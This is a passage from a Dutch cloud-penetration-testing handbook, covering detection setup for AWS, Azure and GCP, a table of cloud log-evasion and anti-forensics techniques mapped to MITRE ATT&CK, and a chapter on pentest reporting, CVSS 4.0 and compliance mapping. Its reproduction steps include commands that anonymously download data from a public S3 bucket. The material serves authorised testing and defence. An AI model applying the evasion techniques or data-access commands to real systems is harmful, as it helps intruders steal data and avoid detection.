    {"InsightType": "ApiCallRateInsight"},
    {"InsightType": "ApiErrorRateInsight"}
  ]'

SIEM Integration

# AWS: Stuur CloudTrail naar CloudWatch Logs voor real-time alerting
aws cloudtrail update-trail \
  --name org-comprehensive-trail \
  --cloud-watch-logs-log-group-arn arn:aws:logs:eu-west-1:111111111111:log-group:CloudTrail:* \
  --cloud-watch-logs-role-arn arn:aws:iam::111111111111:role/CloudTrail-CWL-Role

# Creeer metric filters voor verdachte activiteiten
# IAM user creation
aws logs put-metric-filter \
  --log-group-name CloudTrail \
  --filter-name IAMUserCreation \
  --filter-pattern '{ $.eventName = "CreateUser" }' \
  --metric-transformations \
    metricName=IAMUserCreation,metricNamespace=Security,metricValue=1

# Access key creation
aws logs put-metric-filter \
  --log-group-name CloudTrail \
  --filter-name AccessKeyCreation \
  --filter-pattern '{ $.eventName = "CreateAccessKey" }' \
  --metric-transformations \
    metricName=AccessKeyCreation,metricNamespace=Security,metricValue=1

# Trust policy modification
aws logs put-metric-filter \
  --log-group-name CloudTrail \
  --filter-name TrustPolicyChange \
  --filter-pattern '{ $.eventName = "UpdateAssumeRolePolicy" }' \
  --metric-transformations \
    metricName=TrustPolicyChange,metricNamespace=Security,metricValue=1

# Creeer alarms
aws cloudwatch put-metric-alarm \
  --alarm-name "IAM-User-Created" \
  --metric-name IAMUserCreation \
  --namespace Security \
  --statistic Sum \
  --period 300 \
  --threshold 1 \
  --comparison-operator GreaterThanOrEqualToThreshold \
  --evaluation-periods 1 \
  --alarm-actions arn:aws:sns:eu-west-1:111111111111:security-alerts

Anomaly Detection

# Azure: KQL query voor anomalous sign-in detection
# In Log Analytics / Azure Sentinel:

# Ongewone sign-in locaties voor service principals
# SigninLogs
# | where AppDisplayName != ""
# | where ResultType == 0
# | summarize
#     locations = make_set(Location),
#     count = count()
#   by AppDisplayName, AppId
# | where array_length(locations) > 3

# AWS: Athena query voor ongewone AssumeRole patronen
# Maak een Athena tabel op de CloudTrail S3 bucket
# en query voor:
# - AssumeRole vanuit onbekende source accounts
# - AssumeRole met ongewoon lange durations
# - AssumeRole met verdachte session names

# GCP: BigQuery export van audit logs
# bq query '
#   SELECT
#     protopayload_auditlog.authenticationInfo.principalEmail,
#     protopayload_auditlog.methodName,
#     protopayload_auditlog.requestMetadata.callerIp,
#     COUNT(*) as call_count
#   FROM `project.dataset.cloudaudit_googleapis_com_activity_*`
#   WHERE _TABLE_SUFFIX >= FORMAT_DATE("%Y%m%d", DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
#   GROUP BY 1, 2, 3
#   HAVING call_count > 100
#   ORDER BY call_count DESC
# '

Complete Detection Checklist

+--------------------------------------------+----------+----------+----------+
| Detectie Control                           | AWS      | Azure    | GCP      |
+--------------------------------------------+----------+----------+----------+
| Multi-region/all-subscription logging      | CloudTrail| Activity | Org Audit|
|                                            | org trail| Log      | Logs     |
+--------------------------------------------+----------+----------+----------+
| Data plane logging                         | Data     | Diagnostic| Data    |
|                                            | Events   | Settings | Access   |
+--------------------------------------------+----------+----------+----------+
| Threat detection service                   | GuardDuty| Defender | SCC      |
|                                            |          | for Cloud|          |
+--------------------------------------------+----------+----------+----------+
| IAM change alerts                          | CW Alarm | Sentinel | Cloud    |
|                                            | + Filter | Rule     | Monitoring|
+--------------------------------------------+----------+----------+----------+
| Anomalous login detection                  | GuardDuty| Identity | N/A      |
|                                            |          | Protection|         |
+--------------------------------------------+----------+----------+----------+
| Service principal monitoring               | IAM      | SP Sign- | SA Key   |
|                                            | Analyzer | in Logs  | Usage    |
+--------------------------------------------+----------+----------+----------+
| Cross-account activity monitoring          | Org trail| Lighthouse| Org     |
|                                            |          | audit    | Audit    |
+--------------------------------------------+----------+----------+----------+
| DNS query logging                          | Route53  | DNS      | Cloud    |
|                                            | Query Log| Analytics| DNS Log  |
+--------------------------------------------+----------+----------+----------+
| Network flow logging                       | VPC Flow | NSG Flow | VPC Flow |
|                                            | Logs     | Logs     | Logs     |
+--------------------------------------------+----------+----------+----------+
| Configuration change tracking              | Config   | Change   | Asset    |
|                                            | Rules    | Tracking | Inventory|
+--------------------------------------------+----------+----------+----------+

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Event selector manipulation T1562.008 - Disable Cloud Logs CloudTrail event selectors Diagnostic settings Audit config exemptions
Region-based evasion T1562.008 - Disable Cloud Logs Non-trailed regions Non-monitored subscriptions Non-audited projects
Non-logged API abuse T1562.008 - Disable Cloud Logs Data events (S3, Lambda) Data plane without diagnostics Data access without config
GuardDuty/Defender evasion T1562.001 - Disable or Modify Tools GuardDuty blind spots Defender for Cloud gaps SCC detection gaps
Cloud Shell as proxy T1090 - Proxy AWS CloudShell Azure Cloud Shell GCP Cloud Shell
Target compute usage T1584.004 - Server SSM Session Manager Azure Bastion gcloud compute ssh
Temporary credentials T1550.001 - Application Access Token STS session tokens Managed Identity tokens SA access tokens
Session name spoofing T1036 - Masquerading AssumeRole session name N/A N/A
User agent manipulation T1036.005 - Match Legitimate Name SDK/CLI user agent REST API user agent gcloud/API user agent
Rate limit awareness T1029 - Scheduled Transfer API throttling avoidance ARM rate limits Quota-aware operations
Log retention exploitation T1070.009 - Clear Persistence CloudTrail S3 retention Activity Log 90-day limit 400-day log retention
False positive generation T1562.006 - Indicator Blocking GuardDuty noise Defender alert flooding SCC finding noise
Trace removal T1070 - Indicator Removal Resource deletion Resource deletion Resource deletion
Credential reset cleanup T1070.004 - File Deletion Access key deletion App credential removal SA key deletion
Config restoration T1070 - Indicator Removal Trust policy rollback Role assignment cleanup IAM binding removal
Managed identity exploitation T1550.001 - Application Access Token EC2 instance profile System/User managed identity GCE service account
Service principal stealth T1078.004 - Cloud Accounts N/A SP sign-in (separate log) SA token (audit log)
DNS-based evasion T1071.004 - DNS Route53 resolver logging Azure DNS Analytics Cloud DNS logging
Data event blind spots T1530 - Data from Cloud Storage S3 GetObject (no data events) Blob read (no diagnostics) GCS read (no data access)

Het ultieme inzicht over cloud evasion: de beste manier om niet gedetecteerd te worden is niet het vermijden van logs – het is het genereren van activiteit die er precies zo uitziet als wat er hoort te staan. In een omgeving met duizenden API-calls per minuut is de beste vermomming normaliteit.

Rapportage en Compliance

Rapportage en Compliance

Er is een merkwaardige paradox in cloud-security. Organisaties migreren naar de cloud omdat het flexibeler, schaalbaarder en – zo wordt beweerd – veiliger is dan on-premise. Vervolgens besteden ze meer tijd aan het bewijzen dat het veilig is dan aan het maken dat het veilig is. Compliance-frameworks stapelen zich op als geologische lagen: CIS Benchmarks, SOC 2, ISO 27001, NEN 7510, BIO, en wat er volgende maand weer wordt uitgevonden. Elk framework vereist bewijs. Elk bewijs vereist documentatie. Elke documentatie vereist een rapport.

En het rapport – het pentest-rapport – is de plek waar al die draden samenkomen. Of uit elkaar vallen, afhankelijk van hoe goed je het schrijft.

In de voorgaande delen behandelden we rapportage in de context van webapplicaties en interne netwerken. Cloud-rapportage verschilt daarvan op fundamentele manieren. De scope is anders. De evidence is anders. De aanbevelingen zijn anders. En de mensen die het rapport lezen verwachten andere dingen.

Dit hoofdstuk behandelt hoe je een cloud-pentest-rapport schrijft dat zowel technisch rigoureus is als daadwerkelijk gelezen wordt. Het eerste is moeilijk. Het tweede is moeilijker.

12.1 Cloud-specifieke rapportage

Wat is anders

Een traditioneel pentest-rapport beschrijft hoe een aanvaller van punt A (de buitenkant van het netwerk) naar punt B (de kroonjuwelen) komt. Het is een lineair verhaal: initieel toegangspunt, privilege escalation, lateral movement, data-exfiltratie. De lezer kan het pad volgen als een wandelroute op een kaart.

Een cloud-pentest-rapport is fundamenteel anders. In de cloud is er vaak geen lineair pad. Er zijn tientallen onafhankelijke misconfiguraties die elk hun eigen risico dragen. Een publieke S3 bucket heeft niets te maken met een overprivileged Lambda-functie, die weer niets te maken heeft met een ontbrekend MFA-beleid. Het zijn parallelle problemen, niet opeenvolgende stappen.

Dit heeft gevolgen voor de structuur van je rapport. In plaats van een verhaal schrijf je een catalogus – maar dan een catalogus met context. Elke bevinding moet op zichzelf staan, maar het rapport als geheel moet een overkoepelend beeld schetsen van de beveiligingspostuur van de cloud-omgeving.

De drie lagen van cloud-rapportage

Een effectief cloud-pentest-rapport opereert op drie lagen:

Laag 1: Identiteit en toegang – De IAM-configuratie. Wie heeft welke rechten? Zijn er overprivileged identiteiten? Zijn er stale credentials? Is MFA afgedwongen? Dit is het fundament. Als de IAM-configuratie zwak is, zijn alle andere beveiligingsmaatregelen irrelevant – alsof je een alarmsysteem installeert maar de sleutel onder de deurmat legt.

Laag 2: Resource-configuratie – De individuele services. Zijn storage containers beveiligd? Zijn databases versleuteld? Zijn security groups correct geconfigureerd? Zijn logging-services ingeschakeld? Dit is het middenniveau, waar de meeste bevindingen zitten.

Laag 3: Architectuur en governance – De grote lijn. Is er een multi-account-strategie? Zijn er Service Control Policies? Is er een proces voor het reviewen van IAM-wijzigingen? Worden compliance-checks geautomatiseerd? Dit is het strategische niveau, en het is het niveau waar de meeste organisaties het zwakst scoren – niet omdat ze het niet willen, maar omdat ze er niet aan toekomen.

IB Tip: Structureer je findings in IB langs deze drie lagen. Gebruik het type-veld in de finding template om onderscheid te maken tussen Identity, Configuration, en Governance-findings. Dit maakt het eenvoudiger om de findings per laag te presenteren in het rapport.

12.2 Het rapport structureren

Management Samenvatting

De management samenvatting is het enige deel van je rapport dat gegarandeerd wordt gelezen. Door iedereen. Inclusief mensen die het verschil niet weten tussen een IAM policy en een huisdier. Schrijf het alsof je het uitlegt aan iemand die intelligent is maar geen technische achtergrond heeft.

Structuur:

  1. Scope (2-3 zinnen): Welke cloud-accounts, subscriptions of projecten zijn getest? Welke services waren in scope? In welke periode?
  2. Algeheel risiconiveau (1 zin): Kritiek, Hoog, Gemiddeld, of Laag. Een woord. Geen nuance. De nuance komt later.
  3. Kernbevindingen (3-5 bullets): De bevindingen die het meest impact hebben, in taal die een bestuurder begrijpt.
  4. Positieve observaties (2-3 bullets): Wat ging er goed? Dit is geen vleierei; dit is eerlijkheid. En het zorgt ervoor dat de ontvanger het rapport niet meteen in de prullenbak gooit uit zelfbescherming.
  5. Strategische aanbevelingen (2-3 bullets): De high-level acties die de organisatie moet nemen.

Voorbeeld van een kernbevinding in management-taal:

Slecht: > “De IAM policy arn:aws:iam::123456789012:policy/LegacyAdminPolicy bevat "Action": "*", "Resource": "*" waardoor de gekoppelde role volledige administratortoegang heeft tot alle services in het account.”

Goed: > “Een configuratiefout in het rechtenbeheer geeft een service-account volledige toegang tot alle systemen en data in de cloud-omgeving. Een aanvaller die dit account compromitteert – bijvoorbeeld via een kwetsbare applicatie – heeft direct toegang tot alle bedrijfsdata, inclusief klantgegevens en financiele informatie.”

Beide zijn waar. De eerste is nuttig voor het team dat het moet fixen. De tweede is nuttig voor het bestuur dat moet beslissen of en wanneer het wordt gefixt.

Scope-documentatie

In een on-premise pentest is de scope relatief eenvoudig: een IP-bereik, een lijst met systemen, een tijdvenster. In een cloud-pentest is de scope complexer en verdient een eigen sectie in het rapport.

De scope-sectie documenteert:

## Scope

### Cloud-accounts
| Provider | Account / Subscription / Project | Omschrijving |
|---|---|---|
| AWS | 123456789012 | Productie-account |
| AWS | 987654321098 | Development-account |
| Azure | a1b2c3d4-e5f6-... | Productie-subscription |

### Regio's
| Provider | In scope | Buiten scope |
|---|---|---|
| AWS | eu-west-1, eu-central-1 | us-east-1, ap-southeast-1 |
| Azure | West Europe, North Europe | East US, Southeast Asia |

### Services in scope
IAM, EC2, S3, RDS, Lambda, VPC, CloudTrail, Organizations,
Entra ID, Key Vault, Storage Accounts, App Service, Azure Monitor

### Services buiten scope
AWS GovCloud, Azure Government, productie-databases (read-only)

### Tijdvenster
2026-02-16 tot en met 2026-02-27, dagelijks 08:00-18:00 CET

### Beperkingen
- Geen destructieve tests op productie-workloads
- Geen social engineering
- Geen brute force op Entra ID-accounts (lockout-risico)

Methodologie

Beschrijf kort welke methodologie je hebt gevolgd. Voor cloud-pentests is dit doorgaans een combinatie van:

Verwijs naar de MITRE ATT&CK Cloud Matrix als referentiekader. Dit geeft de opdrachtgever een universeel referentiepunt en maakt het mogelijk om bevindingen te koppelen aan bekende dreigingsactoren.

Bevindingen per severity

Sorteer bevindingen op severity (Critical, High, Medium, Low, Informational), niet op type of service. De lezer wil weten wat het ergste is, niet wat het meest voorkomt. Binnen elke severity-categorie groepeer je op thema (Identity, Configuration, Governance).

## Bevindingen

### Critical (1)
- **C-01**: Publiek toegankelijke S3 bucket met klantgegevens

### High (4)
- **H-01**: IAM user met onbeperkte administratortoegang
- **H-02**: Ontbrekende MFA op privileged accounts
- **H-03**: EC2 instance role met AdministratorAccess
- **H-04**: CloudTrail logging uitgeschakeld in 3 regio's

### Medium (6)
- **M-01**: Security groups met 0.0.0.0/0 inbound rules
- **M-02**: RDS instance publiek toegankelijk
- ...

### Low (3)
- **L-01**: S3 bucket versioning niet ingeschakeld
- ...

### Informational (2)
- **I-01**: AWS Config niet ingeschakeld
- ...

IB Tip: IB sorteert findings automatisch op CVSS 4.0-score in het gegenereerde rapport. De severity-classificatie (Critical/High/Medium/Low) wordt afgeleid uit de CVSS-score. Zorg dat je CVSS-vectors nauwkeurig zijn – een verschil van 0.1 punt kan het verschil zijn tussen High en Critical, wat bepaalt hoeveel aandacht de finding krijgt.

12.3 Cloud Findings Documenteren

Console Screenshots vs CLI Output

In on-premise pentesting is het standaard om screenshots van terminalsessies als bewijs te gebruiken. In cloud-pentesting heb je een extra bron: de cloud console. En de keuze tussen console-screenshots en CLI-output is niet triviaal.

Console-screenshots zijn visueel en begrijpelijk voor niet-technische lezers. Een screenshot van de AWS S3 Console die laat zien dat “Block Public Access” is uitgeschakeld is onmiddellijk duidelijk. Maar console-screenshots zijn ook vluchtig – de interface verandert regelmatig, en een screenshot van een pagina die er over zes maanden anders uitziet verliest zijn waarde.

CLI-output is reproduceerbaar, doorzoekbaar, en exact. Een commando dat de bucket policy ophaalt geeft precies weer wat de configuratie is, zonder grafische interpretatie. Maar CLI-output is voor de gemiddelde lezer van een rapport even begrijpelijk als oude Sumerische kleitabletten.

De oplossing: gebruik beide. Console-screenshots in de managementsamenvatting en de high-level bevindingsomschrijving. CLI-output in de technische details en de stappen om het te reproduceren.

# AWS: S3 bucket access configuratie (CLI evidence)
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws s3api get-public-access-block --bucket BUCKET_NAME

# Voorbeeld output die in het rapport hoort:
# {
#   "PublicAccessBlockConfiguration": {
#     "BlockPublicAcls": false,
#     "IgnorePublicAcls": false,
#     "BlockPublicPolicy": false,
#     "RestrictPublicBuckets": false
#   }
# }

IAM Policy-analyse als Evidence

IAM policies zijn JSON-documenten. Ze zijn de kern van cloud-beveiliging. En ze horen in je rapport – niet als een muur van onleesbare JSON, maar als geannoteerde, relevante fragmenten.

Een effectieve IAM-finding bevat:

  1. De policy (of het relevante fragment) met annotatie
  2. Wat er mis is in begrijpelijke taal
  3. Wat de impact is – wat kan een aanvaller met deze rechten?
  4. Wat het zou moeten zijn – de gecorrigeerde policy
// GEVONDEN: Overprivileged policy op service account
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",            // <-- PROBLEEM: wildcard op alle acties
      "Resource": "*"           // <-- PROBLEEM: wildcard op alle resources
    }
  ]
}

// AANBEVOLEN: Least privilege policy
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::corp-data-bucket",
        "arn:aws:s3:::corp-data-bucket/*"
      ]
    }
  ]
}

Vergelijkbare analyses voor Azure:

// GEVONDEN: Azure Role Assignment met te brede scope
{
  "roleDefinitionId": "/subscriptions/SUBSCRIPTION_ID/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c",
  "scope": "/subscriptions/SUBSCRIPTION_ID",
  "principalId": "PRINCIPAL_ID"
}
// Dit is de Contributor-role op subscription-niveau.
// De service principal heeft schrijfrechten op ALLE resources in de subscription.

IB Tip: Gebruik \begin{lstlisting}[language=json] in het LaTeX-uitwerkingsveld van je finding om JSON-policies met syntax highlighting in het rapport op te nemen. De LaTeX-toolbar in IB biedt directe toegang tot code block-opmaak.

Resource ARN/URI’s als Evidence

Elke cloud-resource heeft een uniek adres. In AWS is dat een ARN (Amazon Resource Name). In Azure is dat een Resource ID. In GCP is dat een Resource URI. Deze adressen zijn de “locatie” van je finding en moeten nauwkeurig worden gedocumenteerd.

# AWS ARN-formaat
arn:aws:s3:::corp-backup-prod
arn:aws:iam::123456789012:role/AdminRole
arn:aws:ec2:eu-west-1:123456789012:instance/i-0abc123def456

# Azure Resource ID-formaat
/subscriptions/SUBSCRIPTION_ID/resourceGroups/rg-prod/providers/Microsoft.Storage/storageAccounts/corpbackup

# GCP Resource URI-formaat
//storage.googleapis.com/corp-backup-prod
//compute.googleapis.com/projects/PROJECT_ID/zones/europe-west1-b/instances/vm-prod-01

Gebruik het locatie-veld in IB voor het ARN/URI. Dit veld wordt opgenomen in het rapport en maakt het voor het IT-team direct duidelijk welke resource moet worden aangepast.

Reproductiestappen

Elke finding moet reproductiestappen bevatten. In de cloud zijn die stappen bijna altijd CLI-commando’s:

# Reproductiestappen voor finding C-01: Publiek toegankelijke S3 bucket

# Stap 1: Ontdekking van de bucket via ScoutSuite
scout aws --services s3

# Stap 2: Verificatie van publieke toegang
aws s3 ls s3://BUCKET_NAME --no-sign-request

# Stap 3: Bevestiging van data-lekkage
aws s3 cp s3://BUCKET_NAME/klantdata.csv /tmp/ --no-sign-request

# Stap 4: Analyse van bucket policy
aws s3api get-bucket-policy --bucket BUCKET_NAME

De --no-sign-request vlag is cruciaal hier. Het bewijst dat de bucket toegankelijk is zonder authenticatie – een belangrijk verschil met een bucket die toegankelijk is voor authenticated users.

12.4 CVSS 4.0 voor Cloud

CVSS 4.0-scoring voor cloud-bevindingen vereist een andere kijk dan voor on-premise bevindingen. De attack vectors, de complexiteit en de impact-modellen zijn fundamenteel anders.

Attack Vector in de cloud

Scenario Attack Vector Toelichting
Publieke S3 bucket Network (N) Bereikbaar vanaf het internet, zonder VPN of tunneling
Misconfiguratie in security group Network (N) De resulterende toegang is via het netwerk
Overprivileged IAM user Network (N) IAM API’s zijn bereikbaar via internet
Metadata-service exploit Local (L) Vereist code-executie op de instance
Cross-account role trust Network (N) Role assumption via STS API
Managed identity misbruik Local (L) Vereist toegang tot de Azure resource

Attack Complexity in de cloud

Cloud-aanvallen scoren vaak Low op Attack Complexity, omdat misconfiguraties deterministisch zijn. Een publieke S3 bucket is altijd publiek. Een overprivileged policy is altijd overprivileged. Er is geen race condition, geen specifieke timing, geen afhankelijkheid van netwerkpositie.

Uitzonderingen:

Privileges Required in de cloud

Dit is waar cloud-scoring subtiel wordt:

Situatie PR-score Reden
Publiek toegankelijke resource None (N) Geen credentials nodig
Aanval met gestolen credentials Low (L) Enige vorm van authenticatie nodig
Aanval vanuit gecompromitteerde instance Low (L) Metadata-toegang vereist code-executie
Aanval die admin-rechten vereist High (H) Elevated privileges nodig

Scope Change: Subsequent System Impact

De Subsequent System Impact metrics in CVSS 4.0 zijn bijzonder relevant voor cloud-bevindingen. Een gecompromitteerde IAM-rol heeft impact op het kwetsbare systeem (de rol zelf), maar de werkelijke schade zit in de downstream systemen die via die rol bereikbaar zijn.

Voorbeeld: Een overprivileged Lambda execution role.

Vulnerable System Impact:
  VC: None (de Lambda-functie zelf bevat geen gevoelige data)
  VI: None (de Lambda-code is niet gewijzigd)
  VA: None (de Lambda-beschikbaarheid is niet aangetast)

Subsequent System Impact:
  SC: High (via de role zijn alle S3 buckets leesbaar)
  SI: High (via de role zijn IAM policies wijzigbaar)
  SA: High (via de role kunnen resources worden verwijderd)

De CVSS-score stijgt aanzienlijk door de Subsequent System Impact, en dat is terecht. De Lambda-functie is niet het probleem – de rechten die eraan zijn gekoppeld zijn het probleem.

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

IB Tip: De CVSS 4.0-calculator in IB presenteert Vulnerable System Impact en Subsequent System Impact als aparte secties. Vul ze onafhankelijk in. Het is gebruikelijk voor cloud-findings om lage scores te hebben op het kwetsbare systeem en hoge scores op downstream systemen. De calculator berekent de uiteindelijke score correct op basis van beide.

12.5 Compliance Mapping

Waarom compliance mapping

Een pentest-rapport dat alleen bevindingen bevat is nuttig. Een pentest-rapport dat bevindingen mapt naar compliance-frameworks is bruikbaar. Het verschil is dat het tweede rapport de opdrachtgever in staat stelt om bevindingen direct te koppelen aan hun audit-verplichtingen, risicomanagement-processen en governance-structuren.

Het is ook – laten we eerlijk zijn – het verschil tussen een rapport dat in een la verdwijnt en een rapport dat op de agenda van het eerstvolgende managementoverleg komt. Want niets motiveert een organisatie sneller om iets te fixen dan de mededeling dat het een compliance-schending is.

CIS Benchmarks

Het Center for Internet Security (CIS) publiceert gedetailleerde hardening-benchmarks voor AWS, Azure en GCP. Het zijn de meest concrete, de meest actionable, en de meest gebruikte compliance-standaarden voor cloudbeveiliging.

De CIS Benchmarks zijn georganiseerd in secties die direct mappen op de drie lagen van cloud-rapportage:

CIS AWS Foundations Benchmark v3.0:

Sectie Focus Voorbeeldcontrole
1. Identity and Access Management IAM-configuratie 1.4: MFA ingeschakeld voor root account
2. Storage S3, EBS encryptie 2.1.1: S3 Block Public Access ingeschakeld
3. Logging CloudTrail, Config 3.1: CloudTrail ingeschakeld in alle regio’s
4. Monitoring CloudWatch Alarms 4.1: Alarm voor unauthorized API calls
5. Networking VPC, Security Groups 5.2: Geen ingress 0.0.0.0/0 op poort 22

CIS Azure Foundations Benchmark v2.1:

Sectie Focus Voorbeeldcontrole
1. Identity and Access Management Entra ID, RBAC 1.1: MFA ingeschakeld voor privileged users
2. Microsoft Defender for Cloud Security monitoring 2.1: Defender for Cloud ingeschakeld
3. Storage Accounts Blob/File security 3.1: Secure transfer required
4. Database Services SQL, Cosmos DB 4.1: Auditing ingeschakeld
5. Logging and Monitoring Activity Log, Diagnostic 5.1: Diagnostic setting geconfigureerd
6. Networking NSG, Firewall 6.1: Geen inbound 0.0.0.0/0 op poort 22

CIS Google Cloud Foundations Benchmark v2.0:

Sectie Focus Voorbeeldcontrole
1. Identity and Access Management Cloud IAM 1.1: Geen service account admin keys
2. Logging and Monitoring Cloud Audit Logs 2.1: Audit logs ingeschakeld
3. Networking VPC, Firewall rules 3.6: Geen ingress 0.0.0.0/0 op SSH
4. Virtual Machines Compute Engine 4.1: Default service account niet gebruikt
5. Storage Cloud Storage 5.1: Uniform bucket-level access
6. Cloud SQL Managed databases 6.1: Geen publiek IP op Cloud SQL

SOC 2

SOC 2 is een audit-framework dat zich richt op vijf Trust Service Criteria: Security, Availability, Processing Integrity, Confidentiality, en Privacy. Het is bijzonder relevant voor cloud-dienstverleners en SaaS-bedrijven.

Cloud pentest-bevindingen mappen als volgt naar SOC 2:

Finding type SOC 2 Criterium Relevantie
Overprivileged IAM CC6.1 (Logical access) Principle of least privilege
Ontbrekende encryptie CC6.1, CC6.7 Data-at-rest bescherming
Publieke storage CC6.6, CC6.7 Datatoegangscontrole
Ontbrekende logging CC7.1, CC7.2 Monitoring en detectie
Geen MFA CC6.1 Authenticatiecontroles
Geen backup-encryptie CC6.7 Confidentiality

ISO 27001 en NEN 7510

ISO 27001 is de internationale standaard voor informatiebeveiliging. NEN 7510 is de Nederlandse vertaling en uitbreiding, specifiek gericht op de gezondheidszorg. Beide zijn relevant voor Nederlandse organisaties die cloud-diensten gebruiken.

De mapping van cloud-bevindingen naar ISO 27001 Annex A-controls:

Finding type ISO 27001 Control NEN 7510 specifiek
IAM misconfiguratie A.5.15 Access control 9.2.1 Gebruikersregistratie
Ontbrekende encryptie A.8.24 Cryptography 10.1.1 Encryptiebeleid
Netwerk misconfiguratie A.8.20 Network security 13.1.1 Netwerkbeheersmaatregelen
Ontbrekende logging A.8.15 Logging 12.4.1 Gebeurtenislogboeken
Ontbrekend patchbeheer A.8.8 Vulnerability management 12.6.1 Beheersing kwetsbaarheden
Geen incident response A.5.24 Incident management 16.1.1 Procedures voor incidenten

Compliance mapping in het rapport

Voeg aan elke finding een compliance-referentie toe. Dit is een klein beetje extra werk dat een enorm verschil maakt voor de bruikbaarheid van je rapport.

In IB kun je compliance-referenties opnemen in het uitwerkingsveld van een finding:

\subsubsection{Compliance impact}
\begin{itemize}
\item CIS AWS Foundations Benchmark v3.0: Control 2.1.1 -- FAIL
\item SOC 2 Trust Service Criteria: CC6.6, CC6.7 -- Non-conformity
\item ISO 27001:2022: A.8.24 -- Non-conformity
\end{itemize}

IB Tip: Maak een standaard compliance-tabel template die je kopieert naar elke finding. Dit bespaart tijd en zorgt voor consistentie. Het standard_findings.json-bestand in IB kan worden uitgebreid met compliance-referenties per finding type.

12.6 Automatische Compliance Scanning

ScoutSuite

ScoutSuite is een multi-cloud security auditing tool die de configuratie van AWS, Azure en GCP scant tegen best practices en CIS Benchmark-controles. Het genereert een HTML-rapport dat je als bijlage aan je pentest-rapport kunt toevoegen.

# AWS scan
scout aws --profile target-account --regions eu-west-1,eu-central-1

# Azure scan
scout azure --cli

# GCP scan
scout gcp --project-id PROJECT_ID

# Met specifieke rule set
scout aws --profile target-account --ruleset cis-2.0

ScoutSuite organiseert bevindingen per service (IAM, EC2, S3, RDS, etc.) en geeft elk een severity-label (danger, warning, info). De HTML-output is interactief – je kunt per service inzoomen op individuele findings.

Hoe ScoutSuite-output te interpreteren voor je rapport:

ScoutSuite-bevindingen zijn observaties, geen bevindingen. Een ScoutSuite “danger” is niet automatisch een pentest-finding. Je moet context toevoegen: is deze misconfiguratie exploitable? Wat is de werkelijke impact? Is er compenserende controle die het risico mitigeert?

Een S3 bucket die door ScoutSuite als “publicly accessible” wordt gemarkeerd, bevat misschien alleen openbare documenten die bewust publiek zijn. Dat is geen finding. Dezelfde bucket met klantgegevens is een kritieke finding. Dat onderscheid maakt ScoutSuite niet – dat maak jij.

# ScoutSuite output analyseren
# De resultaten staan in scoutsuite-report/scoutsuite-results/
cat scoutsuite-report/scoutsuite-results/scoutsuite_results_*.json | \
  python3 -c "
import json, sys
data = json.load(sys.stdin)
for service in data.get('services', {}):
    findings = data['services'][service].get('findings', {})
    for fid, f in findings.items():
        if f.get('flagged_items', 0) > 0:
            print(f'{service}: {fid} ({f[\"flagged_items\"]} items)')
"

Prowler

Prowler is specifiek ontworpen voor AWS en Azure en heeft een sterkere focus op CIS Benchmarks dan ScoutSuite. Het genereert output in meerdere formaten (CSV, JSON, HTML) en ondersteunt directe integratie met AWS Security Hub.

# AWS CIS Benchmark scan
prowler aws --compliance cis_3.0 --region eu-west-1

# Azure CIS Benchmark scan
prowler azure --compliance cis_2.1

# Output in JSON voor verdere verwerking
prowler aws --compliance cis_3.0 -M json -F prowler_results

Prowler-output bevat per controle een PASS/FAIL-status, de betreffende resource-ARN, en een aanbeveling. Dit mapt rechtstreeks naar CIS Benchmark-controles en is daarmee ideaal voor compliance-rapportage.

Output interpreteren

De kunst van compliance scanning is niet het draaien van de tool – dat kan iedereen. De kunst is het interpreteren van de resultaten. Hier zijn de valkuilen:

Valkuil 1: Alles is een finding. ScoutSuite en Prowler genereren samen honderden observaties. Niet elke observatie is een finding, en niet elke finding hoort in je rapport. Filter op werkelijke impact en context.

Valkuil 2: Niets is een finding. Het andere uiterste: de tool rapporteert “PASS” op een controle, dus het is veilig. Maar de tool controleert configuratie, niet exploiteerbaarheid. Een security group die poort 443 openlaat naar het internet is een “PASS” voor sommige tools, maar als de webapplicatie achter die poort een SSRF-kwetsbaarheid heeft, is het alsnog een probleem.

Valkuil 3: Copy-paste rapportage. Het verleidelijkste en tegelijkertijd het meest destructieve: de tool-output direct in je rapport plakken als bevindingen. Dat is geen pentest-rapport; dat is een scan-rapport. En een scan-rapport kan de klant zelf genereren zonder een pentester in te huren. Je toegevoegde waarde zit in de analyse, niet in de output.

IB Tip: Gebruik ScoutSuite en Prowler als reconnaissance-tools, niet als rapportage-tools. Draai ze vroeg in je engagement om een overzicht te krijgen van de cloud-configuratie. Gebruik de resultaten om je handmatige testing te focussen. Documenteer relevante findings als IB-findings met eigen analyse en context.

12.7 Aanbevelingen Schrijven

Cloud-specifieke remediation

Cloud-aanbevelingen zijn fundamenteel anders dan on-premise aanbevelingen. In de on-premise wereld is een aanbeveling vaak “patch dit systeem” of “wijzig deze Group Policy”. In de cloud is een aanbeveling een combinatie van policy-wijzigingen, configuratie-aanpassingen, en architectuurverbeteringen.

IAM-aanbevelingen

Het meest voorkomende type aanbeveling in een cloud-rapport. Structureer ze als volgt:

### Aanbeveling: Implementeer principle of least privilege voor IAM

**Korte termijn (binnen 1 week):**
- Verwijder de `AdministratorAccess` policy van de service account
  `arn:aws:iam::ACCOUNT_ID:user/svc-deploy`
- Vervang door een custom policy die alleen de benodigde acties toestaat:

​```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:PutObject",
        "s3:GetObject"
      ],
      "Resource": "arn:aws:s3:::deployment-bucket/*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "lambda:UpdateFunctionCode"
      ],
      "Resource": "arn:aws:lambda:eu-west-1:ACCOUNT_ID:function:app-*"
    }
  ]
}
​```

**Middellang termijn (binnen 1 maand):**
- Implementeer IAM Access Analyzer om unused permissions te identificeren
- Configureer Permission Boundaries voor alle IAM users en roles
- Roteer alle Access Keys ouder dan 90 dagen

**Lang termijn (binnen 3 maanden):**
- Migreer van IAM users met Access Keys naar IAM roles met
